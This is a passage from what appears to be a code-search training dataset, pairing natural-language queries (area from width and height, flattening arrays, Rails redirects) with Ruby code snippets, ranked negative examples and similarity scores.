query
stringlengths 7
9.55k
| document
stringlengths 10
363k
| metadata
dict | negatives
listlengths 0
101
| negative_scores
listlengths 0
101
| document_score
stringlengths 3
10
| document_rank
stringclasses 102
values |
|---|---|---|---|---|---|---|
returns the product of width and height
|
def size
@w * @h
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def size\n width * height\n end",
"def area\n w * h\n end",
"def area\n \t@width * @height\n end",
"def pixel_size; size.x * size.y; end",
"def pixels\n \n return width.to_i * height.to_i\n \n end",
"def recArea(w, h) \n w * h \nend",
"def medium_width\n width * medium_height / height\n end",
"def getArea()\n getWidth() * getHeight()\n end",
"def getArea\n getWidth() * getHeight\n end",
"def find_area height, width \n area= height * width \n puts area \nend",
"def area\n width() * height\n end",
"def getArea\n getWidth() * getHeight\n end",
"def getArea\n getWidth() * getHeight\n end",
"def getArea\n getWidth() * getHeight\n end",
"def size\n (@x2-@x1)*(@y2-@y1)\n end",
"def height\n (self.width.to_f * (9.to_f/16.to_f)).to_i\n end",
"def getArea\n\t\tgetWidth() * getHeight\n\tend",
"def getArea\n\t\tgetWidth() * getHeight\n\tend",
"def find_area height, width\n\n\theight * width\nend",
"def getArea\n @width * @height * @length\n end",
"def prod(x,y)\n x*y\nend",
"def size\n [width, height]\n end",
"def size\n [width, height]\n end",
"def find_area height, width\n\theight * width\nend",
"def find_area height, width\n area = height * width\n p area\nend",
"def calculate_new_size(width, height)\n ratio = width.to_f / height.to_f\n target = Gnawrnip.max_frame_size\n\n return [width, height] if target > [width, height].max\n\n if ratio < 1\n new_width = target * ratio\n new_height = target\n else\n new_width = target\n new_height = target / ratio\n end\n\n [new_width, new_height]\n end",
"def dimensions\n [width,height]\n end",
"def rectangleArea(h, w)\r\n h * w\r\nend",
"def find_area(height, width)\n height * width\nend",
"def aspect\n width / height\n end",
"def volume (l, w, h)\n\tl * w * h\nend",
"def pixels(height, width)\r\n\tpixels = height * width\r\n\tputs \"Your resolution displays #{pixels} pixels.\"\r\nend",
"def getProd ( x , y )\n\tprod = x * y\n\treturn prod\nend",
"def magSq\n @x*@x + @y*@y\n end",
"def size\n \"#{width}x#{height}\"\n end",
"def size\n \"#{width}x#{height}\"\n end",
"def area(length, width)\n a = length * width\n return a\nend",
"def squaremeters(l, w)\n l * w\nend",
"def aspect_ratio\n height.to_f / width.to_f\n end",
"def area(length, width)\n length * width\nend",
"def scale_by_pixels(dimensions)\n out_pixels = sqrt(options[:width] * options[:height]).truncate\n src_pixels = sqrt(dimensions[0] * dimensions[1]).truncate\n out_pixels / src_pixels.to_f\n end",
"def rectangle_area(width, height)\n area = width * height\nend",
"def normalized_sizes(width, height)\n if width.to_i > @image.width\n width = @image.width\n end\n if height.to_i > @image.height\n height = @image.height\n end\n \"#{width}x#{height}\"\n end",
"def rectangleArea(width, height)\n # return width * height\n width * height\n # set end of rectangleArea function\nend",
"def product_array(pixel_array_1,pixel_array_2)\n \tpixel_array_sq_img1x2 = []\n \tpixel_array_1.each_with_index do |array_pixel,i|\n \t\tnew_array = []\n \t\tarray_pixel.each_with_index do |number,j|\n \t\t\tnew_array[j] = pixel_array_1[i][j] * pixel_array_2[i][j]\n \t\t\t#pixel_array_sq_img1x2[i][j] = \n \t\tend\n \t\tpixel_array_sq_img1x2[i] = new_array\n \tend\n\n \treturn pixel_array_sq_img1x2\n end",
"def area_of_square(length)\n length*length\nend",
"def num_squares\n self.size ** 2\n end",
"def aspect\n width.to_f / height\n end",
"def mul( val )\n @x.scale( val )\n @y.scale( val )\n self\n end",
"def get_area()\n unless check_keyword?(\"HEIGHT\") and check_keyword?(\"WIDTH\")\n raise \"Error: In the command #{@utype}:#{@command_name} the area could not be evaluated. Either the HEIGHT or WIDTH is invalid.\\n #{output}\"\n end\n return get_keyword_value(\"WIDTH\").to_f * get_keyword_value(\"HEIGHT\").to_f\n end",
"def display_height\n (display_width.to_f / width.to_f) * height\n end",
"def display_height\n (display_width.to_f / width.to_f) * height\n end",
"def display_height\n (display_width.to_f / width.to_f) * height\n end",
"def get_volume_of_cuboid(length, width, height)\n return length * width * height\nend",
"def scale_dimensions_to_fit(new_width, new_height)\n raise ArgumentError, \"must supply the width and/or height\" if new_width.nil? && new_height.nil?\n if new_height.nil? || (!new_width.nil? && height*new_width < width*new_height)\n return [new_width, height*new_width/width]\n else\n return [width*new_height/height, new_height]\n end\n end",
"def perimeter(length,width)\n (2 * length) + (2 * width)\nend",
"def pi_product\n self.inject{|a,b| a*b}\n end",
"def radius\n \twidth / 2\n end",
"def width_x_height\n container_multiplier = @options.size.split( '' ).first.to_i\n dcp_dimensions = @dcp_functions.dimensions\n container_width, container_height = dcp_dimensions[ CinemaslidesCommon::ASPECT_CONTAINER ].collect{|x| x * container_multiplier}\n @logger.debug( \"Container: #{ container_width } x #{ container_height } (1k multiplier: #{ container_multiplier })\" )\n \n if dcp_dimensions.has_key?( @options.aspect ) \n\twidth, height = dcp_dimensions[ @options.aspect ].collect{|x| x * container_multiplier}\n else # Custom aspect ratio\n\twidth, height = scale_to_fit_container( @options.aspect, container_width, container_height )\n end\n return [ width, height ].join( 'x' )\n end",
"def volume_calc(length,width,height)\n volume = length * width * height\n end",
"def resolution\n Vector2.new w, h\n end",
"def meter_area(width, length)\n length * width\nend",
"def total_paper(dimensions)\n\tsides = dimensions.split(\"x\").map { |n| n.to_i }\n\tlength, width, height = sides[0], sides[1], sides[2]\n\ta, b, c = (length * width), (width * height), (height * length)\n\tmin_area = [a, b, c].min\n\tresult = (2 * a) + (2 * b) + (2 * c) + min_area\nend",
"def product\n reduce(1, &:*)\n end",
"def area(length, width)\n length * width # Implicit return\nend",
"def perimeter(length, width)\r\n 2 * (length + width)\r\nend",
"def perimeter(length, width)\n return (2 * (length + width))\nend",
"def area_of_rectangle(width, length)\n width*length\nend",
"def calculate_product(a,b)\n a*b\nend",
"def aspect_ratio; (@x/@y).abs; end",
"def new_dimensions_for(orig_width, orig_height)\n new_width = orig_width\n new_height = orig_height\n\n case @flag\n when :percent\n scale_x = @width.zero? ? 100 : @width\n scale_y = @height.zero? ? @width : @height\n new_width = scale_x.to_f * (orig_width.to_f / 100.0)\n new_height = scale_y.to_f * (orig_height.to_f / 100.0)\n when :<, :>, nil\n scale_factor =\n if new_width.zero? || new_height.zero?\n 1.0\n else\n if @width.nonzero? && @height.nonzero?\n [@width.to_f / new_width.to_f, @height.to_f / new_height.to_f].min\n else\n @width.nonzero? ? (@width.to_f / new_width.to_f) : (@height.to_f / new_height.to_f)\n end\n end\n new_width = scale_factor * new_width.to_f\n new_height = scale_factor * new_height.to_f\n new_width = orig_width if @flag && orig_width.send(@flag, new_width)\n new_height = orig_height if @flag && orig_height.send(@flag, new_height)\n when :aspect\n new_width = @width unless @width.nil?\n new_height = @height unless @height.nil?\n end\n\n [new_width, new_height].collect! { |v| v.round }\n end",
"def new_dimensions_for(orig_width, orig_height)\n new_width = orig_width\n new_height = orig_height\n\n case @flag\n when :percent\n scale_x = @width.zero? ? 100 : @width\n scale_y = @height.zero? ? @width : @height\n new_width = scale_x.to_f * (orig_width.to_f / 100.0)\n new_height = scale_y.to_f * (orig_height.to_f / 100.0)\n when :<, :>, nil\n scale_factor =\n if new_width.zero? || new_height.zero?\n 1.0\n else\n if @width.nonzero? && @height.nonzero?\n [@width.to_f / new_width.to_f, @height.to_f / new_height.to_f].min\n else\n @width.nonzero? ? (@width.to_f / new_width.to_f) : (@height.to_f / new_height.to_f)\n end\n end\n new_width = scale_factor * new_width.to_f\n new_height = scale_factor * new_height.to_f\n new_width = orig_width if @flag && orig_width.send(@flag, new_width)\n new_height = orig_height if @flag && orig_height.send(@flag, new_height)\n when :aspect\n new_width = @width unless @width.nil?\n new_height = @height unless @height.nil?\n end\n\n [new_width, new_height].collect! { |v| v.round }\n end",
"def fullwidth\n return self.bitmap.width.to_f * self.zoom_x\n end",
"def pixel_aspect_ratio\n pixel_width / pixel_height\n end",
"def dimensions\n height = count\n width = collect { |a| a.length }.max\n [width, height]\n end",
"def dimensions\n dim = [width, height]\n def dim.to_s\n join 'x'\n end\n dim\n end",
"def centery; return self[1]+(self[3].div(2)); end",
"def size w = DEFAULT_SCREEN_WIDTH, h = DEFAULT_SCREEN_HEIGHT\n width w\n height h\n end",
"def height\n dimensions()[:y]\n end",
"def scale(value)\r\n value * @height/2 + @height/4\r\n end",
"def get_area\n height = get_keyword_value(\"HEIGHT\")\n width = get_keyword_value(\"WIDTH\")\n \n if height == nil || width == nil\n raise \"Error: In the command #{@utype}:#{@command_name} the area could not be evaluated. Either the HEIGHT or WIDTH is invalid.\\n #{output}\"\n end\n \n height = height.to_f\n width = width.to_f\n \n return height * width\n end",
"def rectangle(length:, width:)\n # now does squares!!!!\n (length.to_f * width.to_f).round(2)\n end",
"def calc_image_dimensions(desired_w, desired_h, actual_w, actual_h, scale = false)\n if scale\n wp = desired_w / actual_w.to_f\n hp = desired_h / actual_h.to_f\n\n if wp < hp\n width = actual_w * wp\n height = actual_h * wp\n else\n width = actual_w * hp\n height = actual_h * hp\n end\n else\n width = desired_w || actual_w\n height = desired_h || actual_h\n end\n return width.to_f, height.to_f\n end",
"def width\r\n return (@x2-@x1).abs\r\n end",
"def multiply(x, y)\n product = x*y\nend",
"def pixelheight\n end",
"def unit_weight\n (unit_area * product_thickness * 2.5).round(2)\n end",
"def area\n result = @length * @breadth\n puts\n puts \"area of square of length 4 should be 16 ✔\"\n puts \"area of rectangle with #{@length}, #{@breadth} should be #{result} ✔\"\n\n end",
"def perimeter(length, width)\n p = (2 * (length + width))\n return p\nend",
"def *(other)\n scaled_parts = @parts.map do |unit, amount|\n scaled = amount * other\n scaled = scaled.to_i if scaled.is_a? Float and scaled == scaled.to_i.to_f\n [unit, scaled]\n end\n Size.new((value * other).round, scaled_parts)\n end",
"def height\n @dimensions.y\n end",
"def step_size\n return @box_size * Math.sqrt(2)\n end",
"def pixelwidth\n end",
"def gear_inches\n ratio * diameter\nend",
"def height\n @rows * @block_size\n end",
"def gear_inches\n\tratio * diameter\nend",
"def aspect_ratio\n (@x/@y).abs\n end",
"def current_size\n @multiplier ||= 2.0\n @multiplier *= 0.97\n [@multiplier, @multiplier]\n end",
"def current_size\n @multiplier ||= 2.0\n @multiplier *= 0.97\n [@multiplier, @multiplier]\n end",
"def current_size\n @multiplier ||= 2.0\n @multiplier *= 0.97\n [@multiplier, @multiplier]\n end"
] |
[
"0.7049353",
"0.68688756",
"0.67459685",
"0.6741506",
"0.6581576",
"0.6440514",
"0.6422227",
"0.63724047",
"0.63554037",
"0.6346381",
"0.6303441",
"0.6293437",
"0.62914354",
"0.62914354",
"0.6221868",
"0.6205481",
"0.61977094",
"0.6196684",
"0.6178043",
"0.6164418",
"0.6149265",
"0.61449325",
"0.61449325",
"0.6131736",
"0.6130107",
"0.6106892",
"0.60872203",
"0.6079388",
"0.604586",
"0.60118574",
"0.59920686",
"0.5981757",
"0.5969376",
"0.59526896",
"0.59257495",
"0.59257495",
"0.58998483",
"0.5864881",
"0.58611465",
"0.58578205",
"0.5848952",
"0.58322173",
"0.58304876",
"0.58104074",
"0.57788247",
"0.57738197",
"0.5746449",
"0.5735305",
"0.57089764",
"0.567899",
"0.56709564",
"0.56709564",
"0.56709564",
"0.5668615",
"0.566761",
"0.5656451",
"0.56560993",
"0.5640342",
"0.56393427",
"0.56345046",
"0.56322",
"0.5630732",
"0.5611483",
"0.560175",
"0.5585272",
"0.5579886",
"0.5567531",
"0.55640364",
"0.55554104",
"0.5536366",
"0.55354184",
"0.55354184",
"0.5534384",
"0.5526663",
"0.55246407",
"0.55162543",
"0.5512049",
"0.5510846",
"0.5507813",
"0.55076677",
"0.54961246",
"0.5493168",
"0.5489171",
"0.5488537",
"0.54872876",
"0.5479777",
"0.5467037",
"0.5466817",
"0.5466333",
"0.54579043",
"0.5456826",
"0.5450992",
"0.54485446",
"0.5447305",
"0.5446247",
"0.54391575",
"0.542871",
"0.54205483",
"0.54205483",
"0.54205483"
] |
0.65048707
|
5
|
return flattened 1 demensional array of data
|
def to_ary
@data.flatten
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def flatten\n\t\tmake_flat(@array)\n\tend",
"def to_flat_array\n ary = Array.new(self.size)\n self.each.with_index { |v,i| ary[i] = v }\n ary\n end",
"def flatten!\n\t\t@array = make_flat(@array)\n\tend",
"def flatten() end",
"def using_flatten(array)\n array.flatten\n end",
"def to_a(dimen=nil)\n if self.dim == 2\n\n return self.to_flat_a if self.shape[0] == 1\n\n ary = []\n begin\n self.each_row do |row|\n ary << row.to_flat_a\n end\n #rescue NotImplementedError # Oops. Try copying instead\n # self.each_row(:copy) do |row|\n # ary << row.to_a.flatten\n # end\n end\n ary\n else\n to_a_rec(0)\n end\n end",
"def flatten!() end",
"def flat(a)\n\tnew_arr = []\n\ta.each do |el|\n\t\tif el.is_a? Array\n\t\t\tel.each do |n|\n\t\t\t\tif el.is_a? Array\n\t\t\t\t\ta << n\n\t\t\t\telse\n\t\t\t\t\tnew_arr << n\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\tnew_arr << el\t\n\t\tend\n\tend\n\tp new_arr\nend",
"def my_flatten\n arr = []\n i = 0\n while i < self.length\n if self[i].is_a? Array\n arr += self[i].my_flatten\n else\n arr << self[i]\n end\n i += 1\n end\n return arr\n end",
"def flatten(array)\n array.flatten(1)\nend",
"def flatten(array)\n array.flatten(1)\nend",
"def flatten(data, level = 0)\n return [data] unless data.is_a?(Array) \n flat = []\n data.each do |ele|\n if ele.is_a?(Array)\n flat += flatten(ele, level + 1)\n else\n flat << ele\n end\n end\n flat\nend",
"def flatten\n a=[]\n self.deep_each {|f| a << f}\n a\n end",
"def flatten_array(arr)\n arr.flatten\nend",
"def to_a\n @data.inject([]) { |array, h| array.push(h.values)}\n end",
"def using_flatten(array)\n array.flatten()\nend",
"def flatten(array)\n new_array = []\n array.each do |x|\n if x.class == Array\n x.each {|y| new_array.push(y)}\n else\n new_array.push(x)\n end\n end\n new_array\nend",
"def flatten_cells() @cells.flatten end",
"def using_flatten(array)\n \n array.flatten\n \nend",
"def using_flatten (array)\n return array.flatten!\nend",
"def to_a\n\t\t\tflat = []\n\t\t\t\n\t\t\tflatten_to_array(flat)\n\t\t\t\n\t\t\treturn flat\n\t\tend",
"def datasets\n datasets = []\n dataset.each do |d|\n if d[:data].first.is_a?(Array)\n datasets += d[:data]\n else\n datasets << d[:data]\n end\n end\n datasets\n end",
"def using_flatten(array)\n array.flatten\nend",
"def using_flatten(array)\n array.flatten\nend",
"def my_flatten\n flattened = []\n self.my_each do |el|\n el.is_a?(Array) ? flattened.concat(el.my_flatten) : flattened << el\n end\n flattened\n end",
"def using_flatten(array)\n array.flatten\n \nend",
"def applying_flatten array_value\n return array_value.flatten!\n end",
"def flatten\n dup\n end",
"def arr\n a = [1,2,[3,4,[5]]]\n return a.flatten\nend",
"def using_flatten(array)\n array.flatten\nend",
"def using_flatten(array)\n array.flatten\nend",
"def using_flatten(array)\n array.flatten\nend",
"def using_flatten(array)\n array.flatten\nend",
"def using_flatten(array)\n array.flatten\nend",
"def using_flatten(array)\n array.flatten\nend",
"def my_flatten\n flattened = []\n self.my_each do |el|\n if el.is_a? Array\n flattened += el.my_flatten\n else\n flattened << el\n end\n end\n flattened\n end",
"def one_line_flatten(array, ret = [])\n array.each { |x| x.is_a?(Array) ? one_line_flatten(x, ret) : ret << x }; ret\nend",
"def using_flatten(arr)\n arr.flatten\nend",
"def converted_arrays; end",
"def my_flatten\n # return self unless self.is_a?(Array)\n new_arr = []\n self.each do |el|\n if el.is_a?(Array)\n new_arr += el.my_flatten\n else\n new_arr << el\n end\n end\n new_arr\n end",
"def my_flatten\n flattened = []\n self.my_each do |el|\n el.is_a?(Array) ? flattened += el.my_flatten : flattened << el\n end\n flattened\n end",
"def flatten(*args)\n new_array = []\n self.each do |v|\n if v.is_a?(Array)\n new_array.push( *(v.flatten(*args)) )\n else\n new_array << v\n end\n end\n new_array\n end",
"def data\n data = (@transpose ? @data.transpose : @data).clone\n data.shift\n data\n end",
"def my_flatten(array)\n print array.flatten\n end",
"def convert_1_level_deep(arr, result=[])\n arr.flatten.each_slice(3) { |ele| result.push(ele)}\n result\nend",
"def flatten\n map {|item| item.respond_to?(:flatten) ? item.flatten : item }.flatten\n end",
"def flatten(array)\n return [] if array.empty?\n\n res = []\n array.each do |el|\n if el.is_a? Array\n res += flatten(el)\n else\n res << el\n end\n end\n res\nend",
"def flatten(array)\n a = []\n array.each do |n|\n if n.is_a? Array\n b = flatten(n)\n b.each { |x| a << x }\n else\n a << n\n end\n end\n a\nend",
"def flatten_deeper(array)\n array.collect { |element| element.respond_to?(:flatten) ? element.flatten : element }.flatten\n end",
"def flatten(array)\n container = []\n\n array.each do |element|\n if element.is_a?(Array)\n container += element\n else\n container << element\n end\n end\n\n container\nend",
"def flattened_results\n\n f2 = results.flatten(2)\n f2.any? ? [ f2.shift ] + f2.flatten(2) : []\n end",
"def flatten!\n nil\n end",
"def flatten_deeper(array)\n array.collect do |element|\n (element.respond_to?(:flatten) && !element.is_a?(Hash)) ? element.flatten : element\n end.flatten\n end",
"def to_a; [Array]; end",
"def flatten(array, opts)\n keys = opts[:keys].dup\n\n # this must be an interval period : find the mean, sum, max, whatever\n opts[:list_operator] ||= :mean\n\n collection = self.new( :data => {} )\n\n keys.each_with_index do |key, idx|\n if key == :date\n collection.created_at = array.first.created_at\n next\n end\n\n collection_key = key.to_s.gsub(/[\\s*\\/:x+-]+/, '_')\n keys[idx] = collection_key if collection_key != key\n\n array.each do |item|\n collection.data[collection_key] ||= []\n collection.data[collection_key] << (item.fetch(key) || 0)\n end\n\n # turn the collection into a single value\n value = if opts[:list_operator] == :delta\n collection.data[collection_key].max -\n collection.data[collection_key].min\n\n else\n collection.data[collection_key].send(opts[:list_operator])\n\n end\n\n collection.data[collection_key] = value\n end\n\n collection\n collection.readonly! if collection.respond_to?(:readonly!)\n\n return [keys, collection]\n end",
"def flatt(arr, flat_arr = [])\n arr.each do |element|\n if element.is_a?(Array)\n flatt(element, flat_arr)\n else\n flat_arr << element\n end\n end\n flat_arr\nend",
"def to_a\n data.all\n end",
"def compacted\n if ndim == 1\n return self[]\n else\n newdim = dim.reject{|x| x == 1 }\n return ( ndim != newdim.size ) ? reshape(*newdim) : self[]\n end\n end",
"def my_flatten\n flattened_array = []\n each do |item|\n if item.class != Array\n flattened_array << item\n else\n #recursevly call my flatten\n item.my_flatten.each { |sub_item| flattened_array << sub_item }\n end\n end\n flattened_array\n end",
"def flatten(data, path = Path.new([]))\n case data\n when Array\n data.each_with_index.map do |d,i|\n pathi = path + [i]\n pathi.add_index path.length\n flatten(d, pathi)\n end\n when Hash\n data.map {|k,v| flatten(v, path + [k.to_s])}\n else \n leaf = Leaf.new(path,data)\n @leaves << leaf\n end\n @leaves\n end",
"def flatten_a_o_a(aoa)\n result = []\n x = 0\n while x < aoa.length do\n y = 0\n while y < aoa[x].length do\n result.push(aoa[x][y])\n y += 1\n end\n x += 1\n end\n return result\nend",
"def to_a; Array(force) end",
"def convert_dataset(ds)\n if dimensions == 2\n # valid inputs include:\n # an array of >=2 arrays, or an array of >=2 hashes\n ds = ds.map do |d|\n d.is_a?(Hash) ? d : {:data => d}\n end\n elsif dimensions == 1\n # valid inputs include:\n # a hash, an array of data, an array of >=1 array, or an array of >=1 hash\n if ds.is_a?(Hash)\n ds = [ds]\n elsif not ds.first.is_a?(Hash)\n ds = [{:data => ds}]\n end\n end\n ds\n end",
"def flatten_array(array, result = [])\n array.each do |element|\n if element.is_a? Array\n flatten_array(element, result)\n else\n result << element\n end\n end\n result\nend",
"def flatten(array, result = [])\n array.each do |element|\n if element.is_a?(Array)\n flatten(element, result)\n else\n result << element\n end\n end\n result\nend",
"def flatten(arr)\n\n flat = []\n\n arr.each do |el|\n if el.class != Array\n flat << el \n else\n #flatten(el).each {|char| flat << char}\n flat.push(*flatten(el))\n end\n end\n flat \nend",
"def to_a\n # @rows.collect{|row| row.collect{|e| e}} \n my_rows = @rows\n r_size = my_rows.size\n res = Array.new(r_size)\n for i in 0..r_size-1 do\n res[i] = my_rows[i].dup\n end\n res\n end",
"def to_a\n [head.map(&:to_a), face.map(&:to_a)]\n end",
"def gracify(data)\n data.map{|i| Belt.new(i[0], i[1])}\n end",
"def my_controlled_flatten(level = nil)\n flattened = []\n\n self.each do |ele|\n if ele.is_a?(Array) && level != 0\n flattened += (level.nil? ? ele.my_controlled_flatten : ele.my_controlled_flatten(level - 1))\n else\n flattened << ele\n end\n end\n\n flattened\n end",
"def my_controlled_flatten(level = nil)\n flattened = []\n\n self.each do |ele|\n if ele.is_a?(Array) && level != 0\n flattened += (level.nil? ? ele.my_controlled_flatten : ele.my_controlled_flatten(level - 1))\n else\n flattened << ele\n end\n end\n\n flattened\n end",
"def flatten(depth = -1)\n to_a.flatten(depth)\n end",
"def flatten_snapshot_data\n flatten_snapshot_data_level({}, [], snapshot_json[:data])\n end",
"def to_a_rec(dimen = 0) #:nodoc:\n return self.flat_map { |v| v } if dimen == self.dim-1\n\n ary = []\n self.each_rank(dimen) do |sect|\n ary << sect.to_a_rec(dimen+1)\n end\n ary\n end",
"def flatten(array)\n raise NonArrayError, 'argument must be an array' unless array.is_a? Array\n\n array.each_with_object([]) do |element, memo|\n if element.is_a?(Array)\n memo.push(*flatten(element))\n else\n memo.push(element)\n end\n end\nend",
"def as_array\n @fm.dup\n end",
"def flatten(nested_array, result = [])\n nested_array.each do |integer|\n if integer.class == Array\n flatten(integer, result)\n else\n result << integer\n end\n end\n result\nend",
"def to_flex_array\n self\n end",
"def unflatten(flat_array)\n result = []\n x = 0\n\n while x < flat_array.length do \n if flat_array[x] < 3 \n result.push flat_array[x]\n x += 1\n else\n temp = [*flat_array[x...x + flat_array[x]]]\n result.push temp \n x += flat_array[x]\n end\n end\n result \nend",
"def collect\r\n array = []\r\n @table.each do |subarray|\r\n array.concat subarray\r\n end\r\n array\r\n end",
"def convert2D(data)\n begin\n splitData=CSV(trimBlob(data),:converters=>:float).read\n return splitData.transpose\n rescue\n return nil\n end\n end",
"def to_daff_data(hs)\n return [] if hs.nil? || hs.empty?\n # first row contains the keys\n [hs[0].keys] + hs.map(&:values)\n end",
"def to_a\n @rep.map { |l| l }\n end",
"def to_a\n @rep.map { |l| l }\n end",
"def flatten data\n result = ''\n if data.kind_of? Hash\n data.each do |key, val|\n val = Oaf::Util.flatten val if not val.kind_of? String\n result += \"#{key}#{val}\"\n end\n elsif data.kind_of? Array\n data.each do |item|\n item = Oaf::Util.flatten item if not item.kind_of? String\n result += item\n end\n elsif data.kind_of? String\n result = data\n else\n result = ''\n end\n result\n end",
"def to_a\n res = data\n return [] unless data\n res = apply_selects(res, opts[:fast_selects] || [])\n res = strip_unused(res)\n unless opts[:includes].blank?\n res = enrich(res, opts[:includes])\n res = strip_unenriched(res, opts[:includes])\n end\n res = apply_selects(res, opts[:slow_selects] || [])\n res = apply_maps(res, opts[:maps] || [])\n res = wrap(res)\n res\n end",
"def collect_microarrays(data, xschema)\n filtered_arrays = Array.new\n arrays = data.find_all { |d| d[\"type\"] =~ /modencode:(ADF)/ }\n arrays.each { |d|\n attrs = self.get_attributes_for_datum(d[\"data_id\"], xschema)\n unless attrs.find { |a| a[\"heading\"] == \"official name\" }.nil? then\n d[\"attributes\"] = attrs\n filtered_arrays.push d\n end\n }\n filtered_arrays = filtered_arrays.uniq_by { |d| d[\"attributes\"].nil? ? nil : d[\"attributes\"] }\n return filtered_arrays\n end",
"def expand\n map { |p| p&.flatten || p }.flatten\n end",
"def to_a\n map { |e| e.data}\n end",
"def to_a ; data.dup ;end",
"def to_a\n array\n end",
"def flatten_a_o_a(aoa)\n result = []\n i = 0\n while i < aoa.length do\n k = 0\n while k < aoa[i].length do # DON'T CHANGE!\n result << aoa[i][k]\n k += 1\n end\n i += 1\n end\n result\nend",
"def flatten_a_o_a(aoa)\n result = []\n i = 0\n while i < aoa.length do\n k = 0\n while k < aoa[i].length do\n result << aoa[i][k]\n k += 1\n end\n i += 1\n end\n result\nend",
"def to_array\n array = []\n self.each { |x| array.push x }\n return array\n end",
"def concatenate_data_arrays(array_name, array_type)\n data_arrays = DataArray.where(name: array_name, array_type: array_type, linear_data_type: 'CellMetadatum',\n linear_data_id: self.id).order(:array_index => 'asc')\n all_values = []\n data_arrays.each do |array|\n all_values += array.values\n end\n all_values\n end",
"def to_a\n collect { |node| node.data }\n end",
"def flatten_a_o_a(aoa)\n result = []\n i = 0\n\n while i < aoa.length do\n k = 0\n while k < aoa[i].length do\n result << aoa[i][k]\n k += 1\n end\n i += 1\n end\n\n result\nend",
"def flatten_a_o_a(aoa)\n result = []\n i = 0\n\n while i < aoa.length do\n k = 0\n while k < aoa[i].length do\n result << aoa[i][k]\n k += 1\n end\n i += 1\n end\n\n result\nend",
"def flatten_a_o_a(aoa)\n result = []\n i = 0\n\n while i < aoa.length do\n k = 0\n while k < aoa[i].length do\n result << aoa[i][k]\n k += 1\n end\n i += 1\n end\n\n result\nend",
"def flatten_a_o_a(aoa)\n result = []\n i = 0\n\n while i < aoa.length do\n k = 0\n while k < aoa[i].length do\n result << aoa[i][k]\n k += 1\n end\n i += 1\n end\n\n result\nend"
] |
[
"0.74812",
"0.71189785",
"0.7038779",
"0.7022733",
"0.6809204",
"0.6804873",
"0.679972",
"0.67994994",
"0.6772876",
"0.6736347",
"0.6736347",
"0.6712354",
"0.6677306",
"0.6639736",
"0.6634985",
"0.6627387",
"0.66112447",
"0.6564481",
"0.65421504",
"0.65313625",
"0.65212154",
"0.647719",
"0.64734006",
"0.64734006",
"0.645932",
"0.6437996",
"0.64193213",
"0.6407328",
"0.63941115",
"0.63873446",
"0.63873446",
"0.63873446",
"0.63873446",
"0.63873446",
"0.63873446",
"0.63628185",
"0.6350882",
"0.6341792",
"0.63305223",
"0.63151807",
"0.63085204",
"0.6306203",
"0.627523",
"0.6265013",
"0.6257983",
"0.62572277",
"0.62339145",
"0.6225172",
"0.62213176",
"0.6209564",
"0.6206856",
"0.6117414",
"0.6039593",
"0.6013657",
"0.60054696",
"0.59928787",
"0.59904385",
"0.59627265",
"0.5939103",
"0.5931569",
"0.59125984",
"0.59079826",
"0.5905999",
"0.59011036",
"0.59003353",
"0.5900101",
"0.58753127",
"0.585965",
"0.58331466",
"0.5823404",
"0.5823045",
"0.58227473",
"0.58188564",
"0.58187145",
"0.5815368",
"0.58078647",
"0.5798488",
"0.57953376",
"0.57838196",
"0.5762558",
"0.57563126",
"0.57493764",
"0.57377845",
"0.57377845",
"0.573686",
"0.57357603",
"0.5735489",
"0.57336265",
"0.5731494",
"0.57194066",
"0.5701894",
"0.5699556",
"0.5695929",
"0.56927794",
"0.56927603",
"0.56843865",
"0.56778586",
"0.56778586",
"0.56778586",
"0.56778586"
] |
0.6752124
|
9
|
To redirect create and update actions redirect to index page upon submit.
|
def create
super do |format|
redirect_to collection_url and return if resource.valid?
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n redirect_to :action => \"new_or_edit\"\n end",
"def index\n redirect_to :action => \"edit\" and return\n end",
"def index\n redirect_to(:action => :new)\n end",
"def index\n redirect_to :action => 'new'\n end",
"def index \n redirect_to :action => \"new\"\n end",
"def index; redirect_to :action => 'list'; end",
"def redirect_after_create\n @index_path\n end",
"def index\n redirect_to :new\n end",
"def index\n # redirect_to controller: 'post', action: 'new_post'\n end",
"def the_update_redirect; {:action => 'index'}; end",
"def new\n redirect_to :action => 'index'\n end",
"def index\n redirect_to :action => 'list'\n end",
"def index\n redirect_to :action => :list\n end",
"def index\n \n redirect_to ( :action => \"list\")\n end",
"def index\n redirect_to :action => \"list\"\n end",
"def index\r\n redirect_to :action => :login\r\n end",
"def list\n redirect_to action: \"index\"\n end",
"def index\n redirect_to new_personal_path\n end",
"def index; redirect_to '/'; end",
"def post_req\n redirect_to :controller => :listings, :action => :index\n end",
"def index\n redirect_to '/'\n end",
"def index\n \tredirect_to :controller => \"user\", :action => \"index\"\n end",
"def index\n redirect_to root_url\n end",
"def index\n redirect_to root_url\n end",
"def index\n redirect_to root_url\n end",
"def index\n redirect_to \"/\"\n end",
"def index\n redirect_to \"/\"\n end",
"def index\n redirect_to \"/\"\n end",
"def index\n redirect_to root_path\n end",
"def index\n redirect_to root_path\n end",
"def index\n redirect_back_or_default \"/\"\n end",
"def index\n redirect_to '/participants/new'\n end",
"def index\n redirect_to :action => 'home'\n end",
"def index\n render :action => :new\n end",
"def index\n render :action => :new\n end",
"def index\n redirect_to new_contact_path\n end",
"def index\n redirect_to new_contact_path\n end",
"def index\n redirect_to :action => \"home\"\n end",
"def index\n new\n end",
"def index\n redirect_to root_path\n end",
"def index\n redirect_to root_path\n end",
"def index\n redirect_to root_path\n end",
"def index\n redirect_to root_path\n end",
"def index\n redirect_to root_path\n end",
"def index\n redirect_to :controller =>\"user\", :action=>\"index\"\n end",
"def show\r\nredirect_to :action=>'index'\r\n end",
"def index\n render action:\"new\"\n end",
"def index\n redirect_to :new_contact\n end",
"def index\n redirect_to '/admin/posts'\n end",
"def index\n redirect_to :action => 'view', :id => Globals::DEFAULT_ID \n end",
"def index\n redirect_to :action => 'request_bill'\n end",
"def reviewer_home\n redirect_to(:action => 'index')\n end",
"def index\n redirect_to signup_path\n end",
"def redirect_to_index(msg = nil) #:doc:\n flash[:notice] = msg if msg\n redirect_to(:action => 'index')\n end",
"def show\n redirect_to(:action => \"index\")\n end",
"def index\n redirect_to current_user\n end",
